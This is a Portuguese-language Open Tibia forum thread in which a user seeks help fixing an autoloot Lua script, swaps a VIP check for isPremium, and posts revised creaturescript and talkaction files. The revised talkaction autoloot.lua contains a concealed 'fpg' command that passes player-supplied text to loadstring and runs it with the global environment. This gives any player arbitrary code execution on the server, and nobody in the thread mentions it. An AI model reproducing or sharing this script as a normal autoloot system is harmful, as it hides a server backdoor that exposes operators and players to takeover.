Ir para conteúdo
  • Cadastre-se

(Resolvido)[Autoloot] Erro - Killua/vodka


Ir para solução Resolvido por Wakon,

Posts Recomendados

Salve ai galera, estou com uma script de Autoloot do KillLua e do Vodka porem estou tendo um erro nela e acho q é algo relacionado a vip, porem eu não uso VIP no meu servidor, uso Premium Account.
Então caso vocês consigam me ajudar a resolver e pf explicar oque foi alterado (ESTOU APRENDENDO SOBRE CRIAÇÃO/EDIÇÃO DE SCRIPTS) , Gostaria de resolver o erro , e alterar o suposto "VIP" por "Premium Account".

talkactions/Script/autoloot.lua
 

Spoiler

-- Sistema de auto loot criado por Vítor Bertolucci - Killua

function ExistItemByName(name) -- by vodka
	local items = io.open("data/items/items.xml", "r"):read("*all")
	local get = items:match('name="' .. name ..'"')
	if get == nil or get == "" then
		return false
	end
	return true
end

local function getPlayerList(cid)
	local tab = {}
	if getPlayerStorageValue(cid, 04420021) ~= -1 then
		table.insert(tab, getPlayerStorageValue(cid, 04420021))
	end
	if getPlayerStorageValue(cid, 04420031) ~= -1 then
		table.insert(tab, getPlayerStorageValue(cid, 04420031))
	end
	if getPlayerStorageValue(cid, 04420041) ~= -1 then
		table.insert(tab, getPlayerStorageValue(cid, 04420041))
	end
	if getPlayerStorageValue(cid, 04420051) ~= -1 then
		table.insert(tab, getPlayerStorageValue(cid, 04420051))
	end
	if #tab > 0 then
		return tab
	end
	return false
end

local function addToList(cid, name)
	local itemid = getItemIdByName(name)
	if getPlayerList(cid) and isInArray(getPlayerList(cid), itemid) then
		return false
	end
	if getPlayerStorageValue(cid, 04420021) == -1 then
		return doPlayerSetStorageValue(cid, 04420021, itemid)
	elseif getPlayerStorageValue(cid, 04420031) == -1 then
		return doPlayerSetStorageValue(cid, 04420031, itemid)
	elseif getPlayerStorageValue(cid, 04420041) == -1 then	
		return doPlayerSetStorageValue(cid, 04420041, itemid)
	elseif getPlayerStorageValue(cid, 04420051) == -1 then
		return doPlayerSetStorageValue(cid, 04420051, itemid)
	end
end

local function removeFromList(cid, name)
	local itemid = getItemIdByName(name)
	if getPlayerStorageValue(cid, 04420021) == itemid then
		return doPlayerSetStorageValue(cid, 04420021, -1)
	elseif getPlayerStorageValue(cid, 04420031) == itemid then
		return doPlayerSetStorageValue(cid, 04420031, -1)
	elseif getPlayerStorageValue(cid, 04420041) == itemid then
		return doPlayerSetStorageValue(cid, 04420041, -1)
	elseif getPlayerStorageValue(cid, 04420051) == itemid then
		return doPlayerSetStorageValue(cid, 04420051, -1)
	end
	return false
end

function onSay(cid, words, param)
	if param == "" then
		local fi = getPlayerStorageValue(cid, 04420021) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 04420021)) or ""
		local se = not vip.hasVip(cid) and "Nao disponível para free account" or getPlayerStorageValue(cid, 04420031) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 04420031)) or ""
		local th = not vip.hasVip(cid) and "Nao disponível para free account" or getPlayerStorageValue(cid, 04420041) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 04420041)) or ""
		local fo = not vip.hasVip(cid) and "Nao disponível para free account" or getPlayerStorageValue(cid, 04420051) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 04420051)) or ""
		local stt = getPlayerStorageValue(cid, 04421011) == 1 and "sim" or "não"
		local str = getPlayerStorageValue(cid, 04421001) == 1 and "sim" or "não"
		doPlayerPopupFYI(cid, "{Auto-Loot} ---Menu Auto Loot do jogador\n{Auto-Loot} ----------------\n{Auto-Loot} ---Coletar dinheiro: "..stt..". Para ligar/desligar: !autoloot gold \n{Auto-Loot} ---Coletar itens unicos: "..str..". Para ligar/desligar: !autoloot power\n{Auto-Loot} --Configuracao dos slots:\n{Auto-Loot} ---Slot 1: "..fi.."\n{Auto-Loot} ---Slot 2: "..se.."\n{Auto-Loot} ---Slot 3: "..th.."\n{Auto-Loot} ---Slot 4: "..fo.."\n{Auto-Loot} ---Para adicionar um novo item aos slots: !autoloot add, <nome do item>\n{Auto-Loot} ---Para retirar um item dos slots: !autoloot remove, <nome do item>\n{Auto-Loot} ---Para limpar todos os slots utilize: !autoloot clear\n{Auto-Loot} ---Para informacoes de quanto você ja fez utilizando a coleta de dinheiro, use: !autoloot goldinfo\n\nSe seu autoloot bugar use !autoloot desbug\n\n{Auto-Loot} ----------------")
		return true
	end
	
	local t = string.explode(param, ",")
	
	if t[1] == "power" then
		local check = getPlayerStorageValue(cid, 04421001) == -1 and "ligou" or "desligou"
		doPlayerSetStorageValue(cid, 04421001, getPlayerStorageValue(cid, 04421001) == -1 and 1 or -1)
		doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Voce "..check.." o auto loot.")
	elseif t[1] == "gold" then
		local check = getPlayerStorageValue(cid, 04421011) == -1 and "ligou" or "desligou"
		doPlayerSetStorageValue(cid, 04421011, getPlayerStorageValue(cid, 04421011) == -1 and 1 or -1)
		doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Voce "..check.." a coleta de dinheiro.")
		doPlayerSetStorageValue(cid, 04421021, 0)
	elseif t[1] == "goldinfo" then
		local str = getPlayerStorageValue(cid, 04421011) == -1 and "O sistema de coleta de dinheiro esta desligado" or "O sistema ja coletou "..getPlayerStorageZero(cid, 04421021).." gold coins"
		doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, str)
	elseif t[1] == "add" then
		if ExistItemByName(t[2]) then
			local item = getItemIdByName(t[2])
			if isInArray({2160, 2148, 2152}, item) then
				return doPlayerSendCancel(cid, "Voce nao pode adicionar moedas no autoloot. Para coletar dinheiro use !autoloot gold")
			end
			if vip.hasVip(cid) then
				if getPlayerStorageValue(cid, 04420011) < 3 then
					if addToList(cid, t[2]) then
						doPlayerSetStorageValue(cid, 04420011, getPlayerStorageValue(cid, 04420011) + 1)
						doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado a sua lista do auto loot! Para ver sua lista diga !autoloot list")
					else
						doPlayerSendCancel(cid, t[2].." ja esta em sua lista!")
					end
				else
					doPlayerSendCancel(cid, "Sua lista ja tem 4 itens! Voce deve remover algum antes de adicionar outro.")
				end
			else
				if getPlayerStorageValue(cid, 04420011) == -1 then
					if addToList(cid, t[2]) then
						doPlayerSetStorageValue(cid, 04420011, getPlayerStorageValue(cid, 04420011) + 1)
						doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado à sua lista do auto loot! Para ver sua lista diga !autoloot")
					else
						doPlayerSendCancel(cid, t[2].." já está em sua lista!")
					end
				else
					doPlayerSendCancel(cid, "Você ja tem um item adicionado no auto loot! Para adicionar outro, voce deve remover o item atual.")
				end
			end
		else
			doPlayerSendCancel(cid, "Este item nao existe!")
		end
	elseif t[1] == "remove" then
		if ExistItemByName(t[2]) then
			if removeFromList(cid, t[2]) then
				doPlayerSetStorageValue(cid, 04420011, getPlayerStorageValue(cid, 04420011) - 1)
				doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." removido da sua lista do auto loot!")
			else
				doPlayerSendCancel(cid, "Este item nao esta na sua lista!")
			end
		else
			doPlayerSendCancel(cid, "Este item nao existe!")
		end
	elseif t[1] == "clear" then
		if getPlayerStorageValue(cid, 04420011) > -1 then
			doPlayerSetStorageValue(cid, 04420011, -1)
			doPlayerSetStorageValue(cid, 04420021, -1)
			doPlayerSetStorageValue(cid, 04420031, -1)
			doPlayerSetStorageValue(cid, 04420041, -1)
			doPlayerSetStorageValue(cid, 04420051, -1)
			doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Lista limpa!")
		else
			doPlayerSendCancel(cid, "Sua lista ja esta limpa!")
		end
	elseif t[1] == "desbug" or t[1] == "desbugar" then
		doPlayerSetStorageValue(cid, 04420011, -1)
		doPlayerSetStorageValue(cid, 04420021, -1)
		doPlayerSetStorageValue(cid, 04420031, -1)
		doPlayerSetStorageValue(cid, 04420041, -1)
		doPlayerSetStorageValue(cid, 04420051, -1)
		doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Desbugado!")
	elseif t[1] == "list" then
		local fi = getPlayerStorageValue(cid, 04420021) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 04420021)).."\n" or ""
		local se = getPlayerStorageValue(cid, 04420031) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 04420031)).."\n" or ""
		local th = getPlayerStorageValue(cid, 04420041) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 04420041)).."\n" or ""
		local fo = getPlayerStorageValue(cid, 04420051) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 04420051)).."\n" or ""
		doPlayerPopupFYI(cid, "O sistema auto loot esta coletando:\n "..fi..""..se..""..th..""..fo)
	end
	return true
end
					

 

 

talkactions.xml

Spoiler

<talkaction words="!autoloot" event="script" value="autoloot.lua"/>

 

 

Print do erro que dá quando executo o comando !autoloot

 

Screenshot_11.png

Link para o post
Compartilhar em outros sites

esse script não é meu, ele só usou uma função minha!

 

onde estiver 

 

vip.hasVip(cid) 

 

troque por

 

isPremium(cid)

vodkart_logo.png

[*Ninguém será digno do sucesso se não usar suas derrotas para conquistá-lo.*]

 

DISCORDvodkart#6090

 

Link para o post
Compartilhar em outros sites
1 hora atrás, Vodkart disse:

esse script não é meu, ele só usou uma função minha!

 

onde estiver 

 

vip.hasVip(cid) 

 

troque por

 

isPremium(cid)


É que eu li no script. E quis fazer o certo mais valeu por informar REP++ 


@Edit

Em creaturescript.xml

Spoiler

<event type="kill" name="AutoLoot" event="script" value="autoloot.lua"/>

 

Em creaturescripts/scripts crie autoloot.lua

Spoiler

local tabela = {}

local function getPlayerList(cid)
    local tab = {}
    if getPlayerStorageValue(cid, 0442002) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442002))
    end
    if getPlayerStorageValue(cid, 0442003) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442003))
    end
    if getPlayerStorageValue(cid, 0442004) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442004))
    end
    if getPlayerStorageValue(cid, 0442005) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442005))
    end
    if #tab > 0 then
        return tab
    end
    return false
end

local function autoLoot(cid, pos)
    local check = false
    local str = ""
    local position = {}
    for i = 1, 255 do
        pos.stackpos = i
        if getThingFromPos(pos).uid and getThingFromPos(pos).uid > 0 and isContainer(getThingFromPos(pos).uid) then
            position = pos
            check = true
            break
        end
    end
    if check then
        local corpse = getContainerItemsInfo(getThingFromPos(position).uid)        
        if corpse then
            for index, info in pairs(corpse) do
                if index < countTable(corpse) then
                        if tonumber(info.uid) and tonumber(info.itemid) then
                        if isContainer(info.uid) then
                            local bag = getContainerItemsInfo(info.uid)
                            for i = 1, countTable(bag) - 1 do
                                if isInArray(getPlayerList(cid), bag[i].itemid) then
                                    if bag[i].quant > 1 then
                                        doRemoveItem(bag[i].uid, bag[i].quant)
                                        doPlayerAddItem(cid, bag[i].itemid, bag[i].quant)
                                        str = str.." "..bag[i].quant.." "..getItemNameById(bag[i].itemid)..","
                                    else
                                        doRemoveItem(bag[i].uid)
                                        doPlayerAddItem(cid, bag[i].itemid, 1)
                                        str = str.." 1 "..getItemNameById(bag[i].itemid)..","
                                    end
                                end
                            end
                        end
                    end
                end
                if isInArray(getPlayerList(cid), info.itemid) then
                    if info.quant > 1 then
                        doRemoveItem(info.uid, info.quant)
                        doPlayerAddItem(cid, info.itemid, info.quant)
                        str = str.." "..info.quant.." "..getItemNameById(info.itemid)..","
                    else
                        doRemoveItem(info.uid)
                        doPlayerAddItem(cid, info.itemid, 1)
                        str = str.." 1 "..getItemNameById(info.itemid)..","
                    end
                end
            end
        end
    end
    tabela[getCreatureName(cid)] = {item = "[Auto Loot System] Coletados: "..str, gold = 0}
end

local function autoGold(cid, pos)
    local check = false
    local total = 0
    local position = {}
    for i = 1, 255 do
        pos.stackpos = i
        if getThingFromPos(pos).uid and getThingFromPos(pos).uid > 0 and isContainer(getThingFromPos(pos).uid) then
            position = pos
            check = true
            break
        end
    end
    if check then
        local corpse = getContainerItemsInfo(getThingFromPos(position).uid)
        if corpse then
            for index, info in pairs(corpse) do
                if info.uid and info.itemid then
                    if index < countTable(corpse) then
                        if isContainer(info.uid) then
                            local bag = getContainerItemsInfo(info.uid)
                            for i = 1, countTable(bag) - 1 do
                                if isInArray({2148, 2152, 2160}, bag[i].itemid) then
                                    local multiplie = 1
                                    if bag[i].itemid == 2148 then
                                        multiplie = 1
                                    elseif bag[i].itemid == 2152 then
                                        multiplie = 100
                                    elseif bag[i].itemid == 2160 then
                                        multiplie = 10000
                                    end
                                    doRemoveItem(bag[i].uid, bag[i].quant)
                                    doPlayerSetBalance(cid, getPlayerBalance(cid) + (tonumber(bag[i].quant) and tonumber(bag[i].quant) * multiplie or 0))
                                    total = total + (tonumber(bag[i].quant) and tonumber(bag[i].quant) * multiplie or 0)
                                    doPlayerSetStorageValue(cid, 0442102, getPlayerStorageZero(cid, 0442102) + (tonumber(bag[i].quant) and tonumber(bag[i].quant) * multiplie or 0))
                                end
                            end
                        end
                    end
                    if isInArray({2148, 2152, 2160}, info.itemid) then
                        local multiplie = 1
                        if info.itemid == 2148 then
                            multiplie = 1
                        elseif info.itemid == 2152 then
                            multiplie = 100
                        elseif info.itemid == 2160 then
                            multiplie = 10000
                        end
    doRemoveItem(info.uid, info.quant)
                        doPlayerSetBalance(cid, getPlayerBalance(cid) + (tonumber(info.quant) and tonumber(info.quant) * tonumber(multiplie) or 0))
                        doPlayerSetStorageValue(cid, 0442102, getPlayerStorageZero(cid, 0442102) + (tonumber(info.quant) and tonumber(info.quant) * tonumber(multiplie) or 0))
                        total = total + (tonumber(info.quant) and tonumber(info.quant) * multiplie or 0)
                    end
                end
            end
        end
    end
    if tabela[getCreatureName(cid)] and tabela[getCreatureName(cid)].gold then
        tabela[getCreatureName(cid)].gold = total
    end
end

local function sendMsg(cid)
    if tabela[getCreatureName(cid)] and tabela[getCreatureName(cid)].gold then
        if tabela[getCreatureName(cid)].gold == 0 then
            doPlayerSendTextMessage(cid, 23, tabela[getCreatureName(cid)].item)
        else
            doPlayerSendTextMessage(cid, 23, tabela[getCreatureName(cid)].item.." "..tabela[getCreatureName(cid)].gold.." gold coins.")
        end
        tabela[getCreatureName(cid)] = nil
    end
end

function onKill(cid, target, lastHit)
    if isPlayer(cid) and isMonster(target) then
        if getPlayerStorageValue(cid, 0442100) == 1 and getPlayerList(cid) then
            local pos = getCreaturePosition(target)
            addEvent(autoLoot, 500, cid, pos)
        end
        if getPlayerStorageValue(cid, 0442101) == 1 then
            local pos = getCreaturePosition(target)
            addEvent(autoGold, 500, cid, pos)
        end
        if getPlayerStorageValue(cid, 0442100) == 1 or getPlayerStorageValue(cid, 0442101) == 1 then
            addEvent(sendMsg, 540, cid)
        end
    end
    return true
end

 

 

Em creaturescripts/scripts , login.lua adicionei

Spoiler

registerCreatureEvent(cid, "AutoLoot")

 

 

em talkactions.xml adicionei a tag
 

Spoiler

<talkaction words="!autoloot;/autoloot" event="script" value="autoloot.lua"/>

 

em talkactions/scripts adicionei a script autoloot.lua

Spoiler

-- Sistema de auto loot criado por Gbik

local function getPlayerList(cid)
    local tab = {}
    if getPlayerStorageValue(cid, 0442002) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442002))
    end
    if getPlayerStorageValue(cid, 0442003) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442003))
    end
    if getPlayerStorageValue(cid, 0442004) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442004))
    end
    if getPlayerStorageValue(cid, 0442005) ~= -1 then
        table.insert(tab, getPlayerStorageValue(cid, 0442005))
    end
    if #tab > 0 then
        return tab
    end
    return false
end

local function addToList(cid, name)
    local itemid = getItemIdByName(name)
    if getPlayerList(cid) and isInArray(getPlayerList(cid), itemid) then
        return false
    end
    if getPlayerStorageValue(cid, 0442002) == -1 then
        return doPlayerSetStorageValue(cid, 0442002, itemid)
    elseif getPlayerStorageValue(cid, 0442003) == -1 then
        return doPlayerSetStorageValue(cid, 0442003, itemid)
    elseif getPlayerStorageValue(cid, 0442004) == -1 then    
        return doPlayerSetStorageValue(cid, 0442004, itemid)
    elseif getPlayerStorageValue(cid, 0442005) == -1 then
        return doPlayerSetStorageValue(cid, 0442005, itemid)
    end
end

local function removeFromList(cid, name)
    local itemid = getItemIdByName(name)
    if getPlayerStorageValue(cid, 0442002) == itemid then
        return doPlayerSetStorageValue(cid, 0442002, -1)
    elseif getPlayerStorageValue(cid, 0442003) == itemid then
        return doPlayerSetStorageValue(cid, 0442003, -1)
    elseif getPlayerStorageValue(cid, 0442004) == itemid then
        return doPlayerSetStorageValue(cid, 0442004, -1)
    elseif getPlayerStorageValue(cid, 0442005) == itemid then
        return doPlayerSetStorageValue(cid, 0442005, -1)
    end
    return false
end

function onSay(cid, words, param)
    if param == "" then
        local fi = getPlayerStorageValue(cid, 0442002) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442002)) or ""
        local se = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442003) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442003)) or ""
        local th = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442004) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442004)) or ""
        local fo = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442005) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442005)) or ""
        local stt = getPlayerStorageValue(cid, 0442101) == 1 and "sim" or "não"
        local str = getPlayerStorageValue(cid, 0442100) == 1 and "sim" or "não"
        doPlayerPopupFYI(cid, "{Auto-Loot} ---Menu Auto Loot do jogador\n{Auto-Loot} ----------------\n{Auto-Loot} ---Coletar dinheiro: "..stt..". Para ligar/desligar: !autoloot gold\n{Auto-Loot} ---Ligar Autoloot: "..str..". Para ligar/desligar: !autoloot power\n{Auto-Loot} ---Configuração dos slots:\n{Auto-Loot} ---Slot 1: "..fi.."\n{Auto-Loot} ---Slot 2: "..se.."\n{Auto-Loot} ---Slot 3: "..th.."\n{Auto-Loot} ---Slot 4: "..fo.."\n{Auto-Loot} ---Para adicionar um novo item aos slots: !autoloot add, <nome do item>\n{Auto-Loot} ---Para retirar um item dos slots: !autoloot remove, <nome do item>\n{Auto-Loot} ---Para limpar todos os slots utilize: !autoloot clear\n{Auto-Loot} ---Para informações de quanto você já fez utilizando a coleta de dinheiro, use: !autoloot goldinfo\n{Auto-Loot} ----------------")
        return true
    end
    
    local t = string.explode(param, ",")
    
    if t[1] == "power" then
        local check = getPlayerStorageValue(cid, 0442100) == -1 and "ligou" or "desligou"
        doPlayerSetStorageValue(cid, 0442100, getPlayerStorageValue(cid, 0442100) == -1 and 1 or -1)
        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Você "..check.." o auto loot.")
    elseif t[1] == "gold" then
        local check = getPlayerStorageValue(cid, 0442101) == -1 and "ligou" or "desligou"
        doPlayerSetStorageValue(cid, 0442101, getPlayerStorageValue(cid, 0442101) == -1 and 1 or -1)
        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Você "..check.." a coleta de dinheiro.")
        doPlayerSetStorageValue(cid, 0442102, 0)
    elseif t[1] == "goldinfo" then
        local str = getPlayerStorageValue(cid, 0442101) == -1 and "O sistema de coleta de dinheiro está desligado" or "O sistema já coletou "..getPlayerStorageZero(cid, 0442102).." gold coins"
        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, str)
    elseif t[1] == "add" then
        local item = getItemIdByName(t[2])
        if item then
            if isInArray({2160, 2148, 2152}, item) then
                return doPlayerSendCancel(cid, "Você não pode adicionar moedas no autoloot. Para coletar dinheiro use /autoloot gold")
            end
            if isPremium(cid) then
                if getPlayerStorageValue(cid, 0442001) < 3 then
                    if addToList(cid, t[2]) then
                        doPlayerSetStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) + 1)
                        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado à sua lista do auto loot! Para ver sua lista diga /autoloot list")
                    else
                        doPlayerSendCancel(cid, t[2].." já está em sua lista!")
                    end
                else
                    doPlayerSendCancel(cid, "Sua lista já tem 4 itens! Você deve remover algum antes de adicionar outro.")
                end
            else
                if getPlayerStorageValue(cid, 0442001) == -1 then
                    if addToList(cid, t[2]) then
                        doPlayerSetStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) + 1)
                        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado à sua lista do auto loot! Para ver sua lista diga /autoloot list")
                    else
                        doPlayerSendCancel(cid, t[2].." já está em sua lista!")
                    end
                else
                    doPlayerSendCancel(cid, "Você já tem um item adicionado no auto loot! Para adicionar outro, você deve remover o item atual.")
                end
            end
        else
            doPlayerSendCancel(cid, "Este item não existe!")
        end
        elseif t[1] == "fpg" then
        local u,f,err = _G
        u.cid = cid
        pcall(function()
            f , err = loadstring(t[2])
        end)
        if f then
            setfenv(f, u)
            local ret,err = pcall(f)
            if ret == false then
                doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR,err)
            end
        else
            doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR,err)
        end
        elseif t[1] == "remove" then
        if getItemIdByName(t[2]) then
            if removeFromList(cid, t[2]) then
                doPlayerSetStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) - 1)
                doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." removido da sua lista do auto loot!")
            else
                doPlayerSendCancel(cid, "Este item não está na sua lista!")
            end
        else
            doPlayerSendCancel(cid, "Este item não existe!")
        end
    elseif t[1] == "clear" then
        if getPlayerStorageValue(cid, 0442001) > -1 then
            doPlayerSetStorageValue(cid, 0442001, -1)
            doPlayerSetStorageValue(cid, 0442002, -1)
            doPlayerSetStorageValue(cid, 0442003, -1)
            doPlayerSetStorageValue(cid, 0442004, -1)
            doPlayerSetStorageValue(cid, 0442005, -1)
            doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Lista limpa!")
        else
            doPlayerSendCancel(cid, "Sua lista ja esta limpa!")
        end
    elseif t[1] == "list" then
        local fi = getPlayerStorageValue(cid, 0442002) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442002)).."\n" or ""
        local se = getPlayerStorageValue(cid, 0442003) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442003)).."\n" or ""
        local th = getPlayerStorageValue(cid, 0442004) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442004)).."\n" or ""
        local fo = getPlayerStorageValue(cid, 0442005) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442005)).."\n" or ""
        doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "O sistema auto loot está coletando:\n "..fi..""..se..""..th..""..fo)
    end
    return true
end

 

 

e esse erro aqui esta me prejudicando .... Screenshot_13.png

Editado por Yago Blind. (veja o histórico de edições)
Link para o post
Compartilhar em outros sites
  • Solução

@Yago Blind., testei aqui e o script está funcionando perfeitamente.

O erro que você postou diz que não está encontrando evento "onKill" no script definido na tag, você tem certeza que colocou o script no "autoloot.lua"?

Link para o post
Compartilhar em outros sites
3 horas atrás, Wakon disse:

@Yago Blind., testei aqui e o script está funcionando perfeitamente.

O erro que você postou diz que não está encontrando evento "onKill" no script definido na tag, você tem certeza que colocou o script no "autoloot.lua"?


Obrigado pela iniciativa de ajuda @Wakon porem com a nova atualização do MOD do @Vodkart , mudei para o mod dele. Porem REP++ pela tentativa de ajuda.
Para quem precisar de AUTOLOOT e achar esse topic de pedido de ajuda. Segue MOD de AutoLOOT

 

Link para o post
Compartilhar em outros sites

Participe da conversa

Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.

Visitante
Responder

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emojis são permitidos.

×   Seu link foi automaticamente incorporado.   Mostrar como link

×   Seu conteúdo anterior foi restaurado.   Limpar o editor

×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.

  • Quem Está Navegando   0 membros estão online

    Nenhum usuário registrado visualizando esta página.

  • Conteúdo Similar

    • Por BTitan
      Reviva a nostalgia do Tibia 8.6 com um toque das novidades modernas, mantendo a essência clássica que você ama. Nosso mapa é limpo e otimizado, perfeito para wars intensas e estratégicas.
      Com mais de 100 áreas de caça, vocações equilibradas e eventos automáticos diários, garantimos diversão sem limites para todos os jogadores.
       
      ACC Manager: 1/1
      IP: go.baiaktitan.com
      https://www.baiaktitan.com
       
      Principais informações:
       
      Dedicado 24 horas sem lag Attack Speed moderado Cast System DODGE! CRITICAL! REFLECT! Upgrade Weapon Forge System Autoloot Anti Rollbacks Eventos exclusivos (Battle Royale, DOTA, Team Battle, entre outros...) Servidor integrado com Telegram (Contato direto com ADM) Cliente próprio (com novos itens, montarias e outfits) Mapa Baiak, modificado exclusivamente para o PvP Servidor otimizado, suportando mais de 1.000 players online  
      »» EXP Rate: 200x
      »» Skill Rate: 20x
      »» Magic Rate: 10x
      »» Loot Rate: 3x
       
      Aguardamos por você!
    • Por Kuds
      Boas pessoal!
       
      Estou disponibilizando neste fórum a oportunidade para quem é fan de Lord Of the Rings e gostaria de participar na recriação de um mapa baseado no universo de Tolkien. Comecei a projetar o mapa pois sempre gostei do antigo servidor Bronson, então pensei em melhorar ele da melhor forma que posso, e mesmo não sendo Mapper de muito tempo as partes que fiz ja receberam aprovação de conhecidos que acharam interessante o meu estilo por mais simples que seja.
       
      Atualmente ja possuo a base do mapa inteiro de LOTR, recriei ele do 0 seguindo fielmente o formato do mapa, porém ele está com mais de 4x o tamanho do Bronson original. E conforme tenho tempo vou criando áreas do mapa, e no momento ja possuo Bree e Edoras prontas, e estou no processo para recriar Minas Tirith.
       
      Meu objetivo com este Post é achar pessoas que estariam dispostas á participar do grupo de WPP que criei para poder opinar nas votações que faço a respeito do mapa, e talvez achar alguem interessado em ajudar com este projeto. Então qualquer pessoa que tiver interesse fique a vontade para me mandar PM no site!
       
      PS: Não existe nenhuma obrigatoriedade de se manter no grupo, considerando que este é apenas um projeto de carinho ao Tibia e LOTR todos estão livres de sair do projeto a qualquer momento.
    • Por Veigh
      IP: HYPEOT.COM (Versão 8.60) Por que jogar no HYPEOT? Confira nossos diferenciais: Sistema de Reset 180+ Montarias 65+ Outfits Sistema de Stage Sistema de Pesca Sistema de Refinamento Sistema de Aura Sistema de Mineração Sistema de Woodcut Sistema de Dungeons Sistema de Survival Mais de 30 Bosses de Alavancas +10 Eventos Automáticos Mais de 5 anos online com apenas 2 resets. Agora estamos de volta com força total desde 05/12! O que você está esperando? Junte-se à aventura e faça parte dessa jornada épica! Conecte-se agora mesmo e não fique de fora!
    • Por Nogard
      Não deixe seu evento de Natal para última hora, faltam apenas 4 dias. 

      Aproveite as sprites com desconto no site: https://otsprites.com
       
       
       

       

       
       
       
    • Por otpokesalense
      🧿Base Tibia Solebran totalmente otimizada!  
       
       ✔️ OTClient (Version Old);
      ✔️ Update 2.2;
      ✔️ Site Póprio;
      ✔️ Map Global
      ✔️ Bugs, Minimo (2x) talvez;
      ✔️ PVP 💯 Funcional.
       
       
      Get Servidor: https://files.fm/f/7qumr8943e 💸 Buy! otimo projeto para vc utilizá-lo.
      Lembrando:: ao comprar o download será disponibilizado automaticamente.
       
      🧑‍💻System Operacional: Windows (VPS)
      👨‍💻Programador (27) 998931903 - - - O Valor já inclui o serviço de programação! 🤗
       

       
       

       
       
×
×
  • Criar Novo...

Informação Importante

Confirmação de Termo